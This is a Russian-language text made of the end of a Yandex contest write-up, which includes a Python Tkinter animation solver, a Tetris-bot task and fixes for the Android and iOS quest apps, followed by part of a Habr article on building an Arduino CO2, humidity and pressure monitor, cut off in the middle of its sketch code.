Отображаемый текст при воспроизведении анимации. Для каждого файла анимации ответ нужно указывать на новой строке. Регистр символов в ответе может быть произвольным. Каждый найденный в анимации текст оценивается в 10 баллов.
#### Пример
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `400 400
10
rectangle 69.000 280.000 24.000 24.000 0.000 black
1
move 251.000 72.000 10000 cycle
rectangle 256.000 188.000 24.000 48.000 0.000 black
0
rectangle 232.000 152.000 72.000 24.000 0.000 black
0
rectangle 35.000 400.000 24.000 24.000 0.000 black
1
move 285.000 -96.000 10000 cycle
rectangle 244.000 248.000 48.000 24.000 0.000 black
0
rectangle 300.000 117.000 24.000 48.000 0.000 black
1
move 112.000 164.000 5000
rectangle 136.000 200.000 72.000 24.000 0.000 black
0
rectangle 160.000 236.000 24.000 48.000 0.000 black
0
rectangle 208.000 224.000 24.000 72.000 44.797 black
1
rotate -44.797 5000
rectangle 232.000 200.000 24.000 24.000 0.000 black
0` | `42` |
#### Примечания
Визуализация анимации из примера:
#### Решение
Задача сводилась к реализации анимации. Если анимация реализована корректно, то при воспроизведении множество примитивов складывается в читаемый текст. Анимацию можно было сделать с использованием любых средств — интегрированных в мобильные платформы или более низкоуровневых решений.
Пример анимации ([ссылка на файл .mov](https://yadi.sk/i/-LWlPWXbM2DbDg)):
**Пример реализации с иcпользованием библиотеки Tkinter из Python**
```
import copy
import math
import time
import tkinter
from enum import Enum
FRAMES_PER_SECOND = 60
TIME_BETWEEN_FRAMES = int(1000 / FRAMES_PER_SECOND)
class Rectangle(object):
def __init__(self, left_x, left_y, width, height, color, angle=0.0):
self.center_x = left_x + width / 2
self.center_y = left_y + height / 2
self.width = width
self.height = height
self.color = color
self.angle = angle
def get_left_x(self):
return self.center_x - self.width / 2
def set_left_x(self, left_x):
self.center_x = left_x + self.width / 2
def get_left_y(self):
return self.center_y - self.height / 2
def set_left_y(self, left_y):
self.center_y = left_y + self.height / 2
left_x = property(get_left_x, set_left_x)
left_y = property(get_left_y, set_left_y)
class Circle(object):
def __init__(self, left_x, left_y, radius, color):
self.center_x = left_x + radius
self.center_y = left_y + radius
self.radius = radius
self.color = color
self.angle = 0
def get_left_x(self):
return self.center_x - self.radius
def set_left_x(self, left_x):
self.center_x = left_x + self.radius
def get_left_y(self):
return self.center_y - self.radius
def set_left_y(self, left_y):
self.center_y = left_y + self.radius
left_x = property(get_left_x, set_left_x)
left_y = property(get_left_y, set_left_y)
class AnimationType(Enum):
MOVE = 1
ROTATE = 2
SCALE = 3
class Animation(object):
def __init__(self, time, cycle):
self.time = time
self.cycle = cycle
def scale(self, time_spent):
return 1
def move(self, time_spent):
return 0, 0
def angle(self, time_spent):
return 0
def _cycle_progress(self, time_spent):
if self.cycle:
cycle_time = time_spent % (self.time * 2)
if cycle_time > self.time:
return 1 - (cycle_time - self.time) / self.time
else:
return cycle_time / self.time
else:
if time_spent < self.time:
cycle_time = time_spent % self.time
return cycle_time / self.time
else:
return 1
class MoveAnimation(Animation):
def __init__(self, figure, to_x, to_y, time, cycle):
super().__init__(time, cycle)
self.from_x = figure.center_x
self.from_y = figure.center_y
self.to_x = to_x
self.to_y = to_y
def move(self, time_spent):
cycle_progress = super()._cycle_progress(time_spent)
diff_x = self.to_x - self.from_x
diff_y = self.to_y - self.from_y
return diff_x * cycle_progress, diff_y * cycle_progress
class ScaleAnimation(Animation):
def __init__(self, destination_scale, time, cycle):
super().__init__(time, cycle)
self.destination_scale = destination_scale
def scale(self, time_spent):
cycle_progress = super()._cycle_progress(time_spent)
return 1 + (self.destination_scale - 1) * cycle_progress
class RotateAnimation(Animation):
def __init__(self, rotate_angle, time, cycle):
super().__init__(time, cycle)
self.rotate_angle = rotate_angle
def angle(self, time_spent):
cycle_progress = super()._cycle_progress(time_spent)
return self.rotate_angle * cycle_progress
class Transformer(object):
def scale(self, scale):
pass
def move(self, diff_x, diff_y):
pass
def rotate(self, angle):
pass
class RectangleTransformer(Transformer):
def __init__(self, rectangle):
self.rectangle = rectangle
def scale(self, scale):
self.rectangle.width = self.rectangle.width * scale
self.rectangle.height = self.rectangle.height * scale
def move(self, diff_x, diff_y):
self.rectangle.center_x = self.rectangle.center_x + diff_x
self.rectangle.center_y = self.rectangle.center_y + diff_y
def rotate(self, angle):
self.rectangle.angle = (self.rectangle.angle + angle) % 360
class CircleTransformer(Transformer):
def __init__(self, circle):
self.circle = circle
def scale(self, scale):
self.circle.radius = self.circle.radius * scale
def move(self, diff_x, diff_y):
self.circle.center_x = self.circle.center_x + diff_x
self.circle.center_y = self.circle.center_y + diff_y
def rotate(self, angle):
pass
class Drawer(object):
def draw(self, canvas, spent_time):
pass
class AnimationApplier(object):
@staticmethod
def apply_animations(spent_time, transformer, animations):
for animation in animations:
transformer.scale(animation.scale(spent_time))
diff_x, diff_y = animation.move(spent_time)
transformer.move(diff_x, diff_y)
transformer.rotate(animation.angle(spent_time))
class RectangleDrawer(Drawer):
def __init__(self, rectangle, animations):
self.rectangle = rectangle
self.animations = animations
def draw(self, canvas, spent_time):
rect = self._transform_rect_with_animations(spent_time)
rect_points = self._get_rectangle_points(rect)
rotated_points = self._rotate(rect_points, rect.angle, [rect.center_x, rect.center_y])
canvas.create_polygon(rotated_points, fill=rect.color)
def _transform_rect_with_animations(self, spent_time):
rect = copy.copy(self.rectangle)
transformer = RectangleTransformer(rect)
AnimationApplier.apply_animations(spent_time, transformer, self.animations)
return transformer.rectangle
@staticmethod
def _get_rectangle_points(rect):
half_width = rect.width / 2
half_height = rect.height / 2
return [
[rect.center_x - half_width, rect.center_y - half_height],
[rect.center_x - half_width, rect.center_y + half_height],
[rect.center_x + half_width, rect.center_y + half_height],
[rect.center_x + half_width, rect.center_y - half_height]
]
@staticmethod
def _rotate(points, angle, center):
angle = math.radians(angle)
cos_val = math.cos(angle)
sin_val = math.sin(angle)
cx, cy = center
new_points = []
for x_old, y_old in points:
x_old -= cx
y_old -= cy
x_new = x_old * cos_val - y_old * sin_val
y_new = x_old * sin_val + y_old * cos_val
new_points.append([x_new + cx, y_new + cy])
return new_points
class CircleDrawer(Drawer):
def __init__(self, circle, animations):
self.circle = circle
self.animations = animations
def draw(self, canvas, spent_time):
circle = self._transform_rect_with_animations(spent_time)
size = circle.radius * 2
canvas.create_oval(circle.left_x, circle.left_y, circle.left_x + size, circle.left_y + size, fill=circle.color)
def _transform_rect_with_animations(self, spent_time):
circle = copy.copy(self.circle)
transformer = CircleTransformer(circle)
AnimationApplier.apply_animations(spent_time, transformer, self.animations)
return transformer.circle
class Scene(object):
def __init__(self, canvas, animated_symbols):
self.canvas = canvas
self.drawers = self._get_generated_drawers(animated_symbols)
@staticmethod
def _get_generated_drawers(animated_symbols):
drawers = []
for animated_symbol in animated_symbols:
figure = animated_symbol.figure
animations = animated_symbol.animations
if isinstance(figure, Rectangle):
drawer = RectangleDrawer(figure, animations)
elif isinstance(figure, Circle):
drawer = CircleDrawer(figure, animations)
else:
raise Exception()
drawers.append(drawer)
return drawers
def draw(self, time_spent):
self.canvas.delete("all")
for drawer in self.drawers:
drawer.draw(self.canvas, time_spent)
self.canvas.pack()
class Timer(object):
def __init__(self):
self.started_time = None
def start(self):
self.started_time = self._current_time()
def time_spent(self):
current_time = self._current_time()
return current_time - self.started_time
@staticmethod
def _current_time():
return int(round(time.time() * 1000))
def scene_loop(window, scene, timer):
time_spent = timer.time_spent()
scene.draw(time_spent)
window.after(TIME_BETWEEN_FRAMES, scene_loop, window, scene, timer)
def configure_window_location(window, canvas_width, canvas_height):
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()
x = (screen_width / 2) - (canvas_width / 2)
y = (screen_height / 2) - (canvas_height / 2)
window.geometry('%dx%d+%d+%d' % (canvas_width, canvas_height, x, y))
class AnimatedSymbol(object):
def __init__(self, figure, animations):
self.figure = figure
self.animations = animations
class AnimationsParser(object):
def parse_animated_symbols(self, file_path):
with open(file_path) as f:
lines = f.readlines()
canvas_width, canvas_height = self._parse_size(lines[0])
symbols_count = int(lines[1])
animated_symbols = []
current = 2
for i in range(symbols_count):
figure = self._parse_figure(lines[current])
current += 1
symbol_animations = self._parse_animations(figure, current, lines)
current += 1 + len(symbol_animations)
animated_symbol = AnimatedSymbol(figure, symbol_animations)
animated_symbols.append(animated_symbol)
return canvas_width, canvas_height, animated_symbols
def _parse_size(self, line):
parts = line.split(" ")
return int(parts[0]), int(parts[1])
def _parse_animations(self, figure, current, lines):
animations = []
animations_count = int(lines[current])
for i in range(animations_count):
parts = lines[current + i + 1].split(" ")
animation = self._parse_animation(figure, parts)
animations.append(animation)
return animations
def _parse_figure(self, line):
parts = line.split(" ")
if parts[0] == 'rectangle':
center_x = float(parts[1])
center_y = float(parts[2])
width = float(parts[3])
height = float(parts[4])
angle = float(parts[5])
color = parts[6].replace('\n', '')
figure = Rectangle(center_x - width / 2, center_y - height / 2, width, height, color, angle)
elif parts[0] == 'circle':
center_x = float(parts[1])
center_y = float(parts[2])
radius = float(parts[3])
color = parts[4].replace('\n', '')
figure = Circle(center_x - radius, center_y - radius, radius, color)
else:
raise Exception()
return figure
def _parse_animation(self, figure, parts):
if parts[0] == "move":
animation = self._parse_move_animation(figure, parts)
elif parts[0] == "scale":
animation = self._parse_scale_animation(parts)
elif parts[0] == "rotate":
animation = self._parse_rotate_animation(parts)
else:
raise Exception()
return animation
@staticmethod
def _parse_move_animation(figure, parts):
to_x = float(parts[1])
to_y = float(parts[2])
time = float(parts[3])
cycle = len(parts) >= 5
return MoveAnimation(figure, to_x, to_y, time, cycle)
@staticmethod
def _parse_scale_animation(parts):
destination_scale = float(parts[1])
time = float(parts[2])
cycle = len(parts) >= 4
return ScaleAnimation(destination_scale, time, cycle)
@staticmethod
def _parse_rotate_animation(parts):
rotate_angle = float(parts[1])
time = float(parts[2])
cycle = len(parts) >= 4
return RotateAnimation(rotate_angle, time, cycle)
def main():
canvas_width, canvas_height, animated_symbols = \
AnimationsParser().parse_animated_symbols('animation_path.txt')
window = tkinter.Tk()
configure_window_location(window, canvas_width, canvas_height)
canvas = tkinter.Canvas(window, width=canvas_width, height=canvas_height)
scene = Scene(canvas, animated_symbols)
timer = Timer()
timer.start()
window.after(TIME_BETWEEN_FRAMES, scene_loop, window, scene, timer)
window.mainloop()
if __name__ == "__main__":
main()
```
C. Бот для тетриса
------------------
*Автор: Дмитрий Неведомский*
| | |
| --- | --- |
| Ограничение времени | 1 с |
| Ограничение памяти | 256 МБ |
| Ввод | стандартный ввод или input.txt |
| Вывод | стандартный вывод или output.txt |
Занятой Аркадий любит проводить свободное время, участвуя в разных аукционах ретрокомпьютеров. На одном из них ему попался повидавший жизнь Commodoro, который Аркадий поспешил купить. И в этот раз он приобрел не только железо, но и софт, на компьютере его ждал сюрприз — там нашелся недописанный предыдущим владельцем Тетрис. Опытным путем Аркадий разгадал его правила.
Игроку предлагается поле для игры в тетрис на 10 клеток в ширину и неограниченной высоты. Задан список всех тетрамино, которые необходимо разместить на поле. Тетрамино «падают» сразу, то есть их позиция устанавливается единожды для соответствующего хода, и во время падения положение и поворот изменять нельзя.
Тетрамино падает, пока не наткнется на дно или на другую фигуру. Если при этом заполнился целый ряд поля, этот ряд пропадает, и всё, что находится выше него, опускается на одну клетку ниже.
Количество полученных баллов определяется количеством разрушенных рядов. Игра заканчивается, когда все предложенные фигуры были расставлены. Автор игры оставил после себя таблицу рекордов, в которой сам и занял все места.
Как было сказано ранее, Аркадий — очень занятой человек. Но еще он очень азартный. Помогите ему стать лучшим в этой игре.
**Таблица фигур и их возможных поворотов**
**Форматы ввода/вывода, пример и примечания**#### Формат ввода
Входные данные находятся в файлах input1.txt, input2.txt, ..., input10.txt. [Архив с файлами](https://yadi.sk/d/YEFUMhJnnQsBYQ).
В первой строке задано положительное число фигур N (N ≤ 100).
В каждой последующей строке передается единственный символ латинского алфавита из множества `{’O’, ’S’, ’Z’, ’L’, ’J’, ’T’, ’I’}`.
Каждый символ обозначает фигуру тетрамино.
#### Формат вывода
На проверку необходимо сдать zip-архив c размещенными в его корне выходными файлами с названиями output1.txt, output2.txt,..., output10.txt, где выходной файл outputX.txt должен соответствовать входному файлу inputX.txt.
Файл ответа состоит из N строк, каждая из которых соответствует тетрамино из входных данных и состоит из двух чисел Ai и Bi, обозначающих ход игрока предложенной фигурой:
1. Ai указывает столбец крайнего левого элемента тетрамино (1 ≤ Ai ≤ 10).
2. Bi указывает направление поворота тетрамино (1 ≤ Bi ≤ 4).
Если необходимый файл отсутствует в архиве или был сформирован неправильно, то за соответствующий тест будет начислено 0 баллов.
#### Пример
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `15
Z
O
L
O
J
S
T
J
Z
J
Z
S
Z
I
O` | `1 2
9 1
6 4
9 1
3 2
6 1
1 2
4 1
6 2
3 1
8 2
2 2
4 1
10 1
6 1` |
#### Примечания
В этом примере будет разрушено 4 ряда.
Конечное состояние поля:
Информация по кодам ошибок:
1. PE — была допущена ошибка вывода (например, не существует такого поворота фигуры)
2. WA — информация о повороте и положении фигуры была предоставлена верно, однако такое расположение выходит за границы поля.
3. TL, ML, OK, RE — эти коды имеют то же значение, что и в правилах системы Яндекс.Контест.
Так как задача NP-полная, решение не должно быть оптимальным с математической точки зрения. Эффективность решения определяется числом набранных баллов.
#### Решение
Это задача с открытыми тестами. Разберемся, что это означает.
Участник получает в свое распоряжение zip-архив, в корне которого находятся текстовые файлы input1.txt, input2.txt, ..., input10.txt. Один файл представляет собой один набор фигур тетрамино, которые предстоит расставить. В качестве ответа от участника ожидается сформированный zip-архив, в корне которого находятся файлы output1.txt, output2.txt, ..., output10.txt. Каждый файл должен содержать ходы фигурами в том же порядке, в котором они заданы в файле соответствующего набора.
Задача NP-полна и стопроцентным решением является только полный перебор. Значит, сложность растет экспоненциально с увеличением количества фигур. Так как не требуется сдавать код решения, то на него не накладываются ограничения по памяти и времени исполнения.
Полный балл за задачу давался при достижении «удовлитворительного» качества — решение должно было набрать 60% очков. Столько же набрало решение автора задачи, которое было основано на генетическом алгоритме, натренированном на стандартном рандомизаторе тетриса. Этот рандомизатор описан [в статье](https://tetris.fandom.com/wiki/Random_Generator).
В остальном задача мало чем отличается от написания обычного бота для тетриса, за исключением того, что «стакан» игрового поля неограничен по высоте. Поэтому успешность решения определяется не тем, как долго бот может играть, не выходя за рамки «стакана», а тем, как успешно он расставит ограниченный набор фигур.
Участник был волен сам выбирать стратегию решения. Вот некоторые из них в порядке усложнения и увеличения числа набираемых очков:
1. Играем «руками» без использования кода, записывая ходы в решение.
2. Пишем визуализатор и играем «руками», записывая ходы в решение.
3. Жадный алгоритм. На каждом ходу пробуем поставить фигуру так, чтобы число разрушенных рядов было максимальным. Если таких вариантов несколько, случайно выбираем любой из них.
4. Такой же жадный алгоритм, как в пункте 3, только проверяется не успешность постановки одной фигуры, а успешность полного перебора группы фигур (например, группы из пяти фигур).
5. Генетический алгоритм. Учитываем в функции приспособленности (fitness function) не только количество разрушенных рядов, как в жадном алгоритме, но и гладкость «рельефа» поля и, например, количество образовавшихся свободных мест между фигурами.
D и E. Квест
------------
*Авторы: Илимдар Абляев и Илья Кутеев*
Миша делает мобильную игру в жанре квест. Он нашел в интернете готовую библиотеку с движком для игры и сделал на его основе интерфейс. Миша очень торопится выпустить игру и в процессе разработки допустил несколько ошибок. Чтобы закончить проект вовремя, Миша попросил у вас помощи. Скачайте проект, поправьте в нем ошибки компиляции, падения и логические ошибки. Пройдите квест и дойдите до экрана «Бинго», на котором появится секретная фраза. Она и будет ответом к задаче.
Скачайте архив с проектом: [Android](https://yadi.sk/d/pSevFNC3wACyGQ), [iOS](https://yadi.sk/d/scriCzh0-XblPQ). Формат вывода — секретная фраза (строка до 255 символов).
#### Решение для Android
1) Удаляем строку с темой или добавляем любую тему.
2) Проходимся по тексту задачи и исправляем все ошибки, которые подсвечивает IDE.
1. Убираем модификаторы final у mBackButton и mTitleTextView, так как их инициализация требует ресурсов.
2. Если перенести инициализацию mTitleTextView и mBackButton в место объявления, то приложение будет падать на старте, так как у него еще нет контекста.
3. Исправляем ошибку с возвращаемым значением у методов — заменяем Layout на ViewGroup.
4. Инициализируем переменную okButton в методе getTextTaskControlsLayout.
5. Также IDE может подсветить логическую ошибку, что на кнопки «Налево» и «Направо» назначаются одинаковые слушатели.
3) Приложение компилируется. Если ds просто удалили строчку с темой, то приложение упадет на старте с ошибкой «java.lang.IllegalStateException: You need to use a Theme.AppCompat theme (or descendant) with this activity». Просто добавляем требуемую тему в манифест.
4) Экран распутья.
* При нажатии на любую кнопку возникает ошибка — java.lang.IndexOutOfBoundsException.
* Идем в место падения: количество удаляемых детей у Layout всегда равно количеству детей у этого Layout. Исправляем.
* При попытке пойти направо возникает ошибка из пункта 1.1 (если вы ее еще не исправили).
5) Экран ввода кода.
* Экран направляет нас назад, чтобы мы посмотрели код.
* Код не совпадает с доступной кнопкой (если на нее нажать, вы все равно можете получить ответ, но он неправильный).
* Далее имеется некоторая свобода. Есть следующие варианты решения:
— Разместить кнопки при помощи любого соответствующего Layout.
— Оставить только кнопку с соответствующим кодом.
* Нажимаем на кнопку с соответствующим кодом.
6) Экран ввода текста. Здесь только одна ошибка — слушатель активации кнопки назначается не на тот объект.
7) Экран «Бинго».
* Приложение падает с ошибкой android.content.res.Resources$NotFoundException.
* Смотрим в место падения. Библиотека возвращает число, которое трактуется как ID ресурса.
* Превращаем число в строку.
Бинго! Полученный код необходимо ввести в качестве ответа на задачу.
#### Решение для iOS
Скачиваем условие задачи и пробуем его запустить. Получаем ошибку компиляции:
Ошибка возникает, поскольку мы возвращаем тип функции Optional>. guard let убирает только один Optional из двух. Чтобы убрать второй Optional, делаем flatMap({ $0 }), который помогает избавиться от двойной вложенности.
Запускаем программу, происходит креш на старте.
Дело в том, что мы не добавляем QuestCore в итоговую папку приложения. Исправим это:
Теперь приложение запускается, и нам нужно исправить логическую ошибку — и goLeft, и goRight на самом деле ведут налево. Поправим код так, чтобы goRight вело направо.
Переходим к экрану с вводом кода и видим, что текстовое поле неактивно: на экране есть TestView, которая становится firstResponder и не отдает его. Правим код так, чтобы TestView не становилось firstResponder. Либо можно поправить так, что она перестанет им быть по требованию UIKit.
Остается две проблемы на экране «Бинго». Нужно привязать метку к IBOutlet, чтобы на нее выводился текст, а также выводить его из главного потока. Теперь на экране будет отображаться итоговый ответ к задаче.
---
[Вот ссылка](https://habr.com/ru/company/yandex/blog/428882/) на разбор конкурса по мобильной разработке, который мы провели в 2018 году. | https://habr.com/ru/post/482210/ | null | ru | null |
# Ардуино на службе здоровья
*В статье описан путь от идеи до создания домашнего портативного анализатора качества воздуха (CO2, влажность, температура, давление).*
#### Вступление
В сети много гуляет разных кошмаров про безжалостную черную плесень, которая убивает людей, а плесень любит влажные помещения. Бороться с плесенью тяжело, но самое первое, за чем нужно следить – это влажность воздуха. Еще о влажности стоит вспомнить с наступлением зимы, так как нагревая холодный воздух мы тем самым понижаем его влажность, а слишком сухой воздух негативно сказывается на слизистых оболочках, резко снижая иммунитет.
Рассуждая таким образом я пришел к выводу, что не плохо было бы соорудить на базе Ардуины такой себе показометр влажности. Пользуясь случаем и дешевизной цифровых датчиков, грех было не добавить еще и функцию барометра, термометра и, что немаловажно, функцию измерения количества углекислого газа в воздухе (в старых многоэтажках зачастую плохая вентиляция в квартирах, а сами квартиры на зиму плотно герметизируются). По углекислому газу тоже много страшилок, снижение работоспособности, головная боль, это могут быть симптомы высокой концентрации СО2 в воздухе.
В интернетах так же была найдена такая табличка допустимых концентраций СО2 в воздухе:
Итак, нам понадобится:
* 1. Arduino Pro Mini цена 2.15$
* 2. Датчик влажности и температуры DHT-22 он же AM2302 (улучшенная точность по сравнению с DHT-11), цена 4$
* 3. Датчик давления BMP180, цена 2.98$
* 4. Модуль с датчиком углекислого газа TGS4161, цена 60$
* 5. Дисплей типа Nokia 5110, цена 2,35$
**Итого**: 71.48$ (промышленные приборы с похожим набором датчиков стоят от 300$)
##### Датчик углекислого газа
На датчике углекислого газа следует остановиться отдельно. В то время как датчик давления и влажности выдают показания уже в цифре, имеют какие-никакие цепи стабилизации по питанию, то стоимость полностью цифрового датчика СО2 начинается от 120$, многовато как «для поиграться». Самый дешевый в виде модуля к Ардуине китайцы предлагают на базе MG811 за 36$. Посмотрел я на его характеристики, а там дикая зависимость от влажности, наличия посторонних газов в воздухе и решил, что нужно поискать что-то более точное и таким оказался TGS4161, привожу его характеристики:
Успокоившись на счет стабильности показаний, оформил покупку и датчик приехал через две недели.
##### Сборка устройства
Когда модуль ко мне приехал, у меня уже все было собрано на макетной плате, не хватало только его. Вооружившись паяльником я обратил свой взор к рекламной картинке (см. выше), мол как его подключать? Вот тут пришлось немного опешить, надежда, что *Dout* это цифровой выход, не оправдалась, документации на этот модуль вообще нет никакой и нигде, модуль делают китайцы штучно. Что же делать? Пришлось тыкать в ноги модуля тестером, дуть на датчик, привлекать такую-то мать, писать кролику… Методом тыка установлено что модуль содержит два операционных усилителя. Первый из них имеет входное сопротивление **1,5 ТОм** (Вы не ошиблись именно тера-Ом, т.е. 1500 гиг-Ом, тогда как обычный цифровой мультиметр имеет входное сопротивление не более 20 мега-Ом), второй сдвоенный ОУ работает как компаратор и повторитель. *Aout* некий аналоговый сигнал с повторителя, *Dout* – сигнал с компаратора (активен если СО2 зашкаливает). Назначение вывода *TCM* установить не удалось.
###### Как же датчик работает?
Датчик представляет собой электрохимическую ячейку для работы которой нужна высокая температура. Температура обеспечивается встроенным в датчик нагревателем мощностью примерно 0,2Вт. Напряжение на ячейке при концентрации СО2 350ppm и ниже имеет некое стабильное значение, а когда концентрация СО2 растет, напряжение на ячейке тоже изменяется (падает). Для согласования высокого выходного сопротивления ячейки и с целью усиления напряжения применены ОУ.
Чтобы воспользоваться датчиком нужно перевести вольты в концентрацию СО2. Документация на сенсор утверждает, что начальное напряжение на сенсоре может быть любым а вот абсолютное изменение этого напряжения строго по даташиту. Значит нужно как минимум замерить нулевую начальную точку на свежем воздухе, дальше, построить модель сенсора на основе графика его чувствительности задав в качестве точки отсчета измеренное значение. В общем худо-бедно, модель была построена, датчик откалиброван и можно было все собирать вместе в какой-нибудь корпус:
Чувствительность свеже-откалиброванного датчика была такой что он мог достоверно отличать более свежий воздух в парку от загазованного проспекта за 300 метров.
По остальным датчикам: влажность меряет отлично, взяв в руки прибор сразу можно заметить рост влажности, прям таки скачек (еще бы, когда в квартире сейчас влажность всего 29%); давление тоже меряет отлично, как абсолютное так и относительное, подняв и опустив прибор можно заметить разницу в давлении.
###### Далее следует...
На этом история не закончилась, а все только начиналось, потому что когда прибор перешел на автономное питание ему резко поплохело и история его лечения заслуживает отдельного топика, вот осциллограмма из истории болезни:
**UPD:**
Схема подключения типичная для указанных датчиков, более детально о распиновке в скетче.
**Рабочий скетч для Arduino UNO**Скетч собирался (копипастился) с разных кусков, так что сильно не ругайте, надеюсь разобраться в нем можно
```
#include
#include
#include "DHT.h"
#define PIN\_SCE 7 // LCD CS .... Pin 2
#define PIN\_RESET 6 // LCD RST .... Pin 1
#define PIN\_DC 5 // LCD Dat/Com. Pin 3
#define PIN\_SDIN 4 // LCD SPIDat . Pin 4
#define PIN\_SCLK 3 // LCD SPIClk . Pin 5
// LCD Gnd .... Pin 8
// LCD Vcc .... Pin 6
// LCD Vlcd ... Pin 7
#define LCD\_C LOW
#define LCD\_D HIGH
#define LCD\_X 84
#define LCD\_Y 48
#define LCD\_CMD 0
SFE\_BMP180 pressure;
#define DHTPIN 10
#define DHTTYPE DHT22
DHT dht(DHTPIN, DHTTYPE);
#define ALTITUDE 113.0 // Altitude of SparkFun's HQ in Boulder, CO. in meters
int a = 0;
int sensorPin = A0; // вход подключается к Aout модуля с датчиком СО2
int vBattPin = A1; // вход используется для мониторинга за состояние батареи
int sensorValue = 0; // variable to store the value coming from the sensor
float adc\_step=5/1024.0f; //шаг измерения АЦП
float a\_k=5.0894E-7; //магическая константа модели датчика СО2
float b\_k=6.7303E-4;//еще одна магическая константа модели датчика СО2
float v\_0=1.09; //напряжение на выходе датчика на свежем воздухе
int ledPin=13;
static const byte ASCII[][5] =
{
{0x00, 0x00, 0x00, 0x00, 0x00} // 20
,{0xff, 0xff, 0xff, 0xff, 0xff} // 21 !
//,{0x00, 0x00, 0x5f, 0x00, 0x00} // 21 !
,{0x00, 0x07, 0x00, 0x07, 0x00} // 22 "
,{0x14, 0x7f, 0x14, 0x7f, 0x14} // 23 #
,{0x24, 0x2a, 0x7f, 0x2a, 0x12} // 24 $
,{0x23, 0x13, 0x08, 0x64, 0x62} // 25 %
,{0x36, 0x49, 0x55, 0x22, 0x50} // 26 &
,{0x00, 0x05, 0x03, 0x00, 0x00} // 27 '
,{0x00, 0x1c, 0x22, 0x41, 0x00} // 28 (
,{0x00, 0x41, 0x22, 0x1c, 0x00} // 29 )
,{0x14, 0x08, 0x3e, 0x08, 0x14} // 2a \*
,{0x08, 0x08, 0x3e, 0x08, 0x08} // 2b +
,{0x00, 0x50, 0x30, 0x00, 0x00} // 2c ,
,{0x08, 0x08, 0x08, 0x08, 0x08} // 2d -
,{0x00, 0x60, 0x60, 0x00, 0x00} // 2e .
,{0x20, 0x10, 0x08, 0x04, 0x02} // 2f /
,{0x3e, 0x51, 0x49, 0x45, 0x3e} // 30 0
,{0x00, 0x42, 0x7f, 0x40, 0x00} // 31 1
,{0x42, 0x61, 0x51, 0x49, 0x46} // 32 2
,{0x21, 0x41, 0x45, 0x4b, 0x31} // 33 3
,{0x18, 0x14, 0x12, 0x7f, 0x10} // 34 4
,{0x27, 0x45, 0x45, 0x45, 0x39} // 35 5
,{0x3c, 0x4a, 0x49, 0x49, 0x30} // 36 6
,{0x01, 0x71, 0x09, 0x05, 0x03} // 37 7
,{0x36, 0x49, 0x49, 0x49, 0x36} // 38 8
,{0x06, 0x49, 0x49, 0x29, 0x1e} // 39 9
,{0x00, 0x36, 0x36, 0x00, 0x00} // 3a :
,{0x00, 0x56, 0x36, 0x00, 0x00} // 3b ;
,{0x08, 0x14, 0x22, 0x41, 0x00} // 3c <
,{0x14, 0x14, 0x14, 0x14, 0x14} // 3d =
,{0x00, 0x41, 0x22, 0x14, 0x08} // 3e >
,{0x02, 0x01, 0x51, 0x09, 0x06} // 3f ?
,{0x32, 0x49, 0x79, 0x41, 0x3e} // 40 @
,{0x7e, 0x11, 0x11, 0x11, 0x7e} // 41 A
,{0x7f, 0x49, 0x49, 0x49, 0x36} // 42 B
,{0x3e, 0x41, 0x41, 0x41, 0x22} // 43 C
,{0x7f, 0x41, 0x41, 0x22, 0x1c} // 44 D
,{0x7f, 0x49, 0x49, 0x49, 0x41} // 45 E
,{0x7f, 0x09, 0x09, 0x09, 0x01} // 46 F
,{0x3e, 0x41, 0x49, 0x49, 0x7a} // 47 G
,{0x7f, 0x08, 0x08, 0x08, 0x7f} // 48 H
,{0x00, 0x41, 0x7f, 0x41, 0x00} // 49 I
,{0x20, 0x40, 0x41, 0x3f, 0x01} // 4a J
,{0x7f, 0x08, 0x14, 0x22, 0x41} // 4b K
,{0x7f, 0x40, 0x40, 0x40, 0x40} // 4c L
,{0x7f, 0x02, 0x0c, 0x02, 0x7f} // 4d M
,{0x7f, 0x04, 0x08, 0x10, 0x7f} // 4e N
,{0x3e, 0x41, 0x41, 0x41, 0x3e} // 4f O
,{0x7f, 0x09, 0x09, 0x09, 0x06} // 50 P
,{0x3e, 0x41, 0x51, 0x21, 0x5e} // 51 Q
,{0x7f, 0x09, 0x19, 0x29, 0x46} // 52 R
,{0x46, 0x49, 0x49, 0x49, 0x31} // 53 S
,{0x01, 0x01, 0x7f, 0x01, 0x01} // 54 T
,{0x3f, 0x40, 0x40, 0x40, 0x3f} // 55 U
,{0x1f, 0x20, 0x40, 0x20, 0x1f} // 56 V
,{0x3f, 0x40, 0x38, 0x40, 0x3f} // 57 W
,{0x63, 0x14, 0x08, 0x14, 0x63} // 58 X
,{0x07, 0x08, 0x70, 0x08, 0x07} // 59 Y
,{0x61, 0x51, 0x49, 0x45, 0x43} // 5a Z
,{0x00, 0x7f, 0x41, 0x41, 0x00} // 5b [
,{0x02, 0x04, 0x08, 0x10, 0x20} // 5c ¥
,{0x00, 0x41, 0x41, 0x7f, 0x00} // 5d ]
,{0x04, 0x02, 0x01, 0x02, 0x04} // 5e ^
,{0x40, 0x40, 0x40, 0x40, 0x40} // 5f \_
,{0x00, 0x01, 0x02, 0x04, 0x00} // 60 `
,{0x20, 0x54, 0x54, 0x54, 0x78} // 61 a
,{0x7f, 0x48, 0x44, 0x44, 0x38} // 62 b
,{0x38, 0x44, 0x44, 0x44, 0x20} // 63 c
,{0x38, 0x44, 0x44, 0x48, 0x7f} // 64 d
,{0x38, 0x54, 0x54, 0x54, 0x18} // 65 e
,{0x08, 0x7e, 0x09, 0x01, 0x02} // 66 f
,{0x0c, 0x52, 0x52, 0x52, 0x3e} // 67 g
,{0x7f, 0x08, 0x04, 0x04, 0x78} // 68 h
,{0x00, 0x44, 0x7d, 0x40, 0x00} // 69 i
,{0x20, 0x40, 0x44, 0x3d, 0x00} // 6a j
,{0x7f, 0x10, 0x28, 0x44, 0x00} // 6b k
,{0x00, 0x41, 0x7f, 0x40, 0x00} // 6c l
,{0x7c, 0x04, 0x18, 0x04, 0x78} // 6d m
,{0x7c, 0x08, 0x04, 0x04, 0x78} // 6e n
,{0x38, 0x44, 0x44, 0x44, 0x38} // 6f o
,{0x7c, 0x14, 0x14, 0x14, 0x08} // 70 p
,{0x08, 0x14, 0x14, 0x18, 0x7c} // 71 q
,{0x7c, 0x08, 0x04, 0x04, 0x08} // 72 r
,{0x48, 0x54, 0x54, 0x54, 0x20} // 73 s
,{0x04, 0x3f, 0x44, 0x40, 0x20} // 74 t
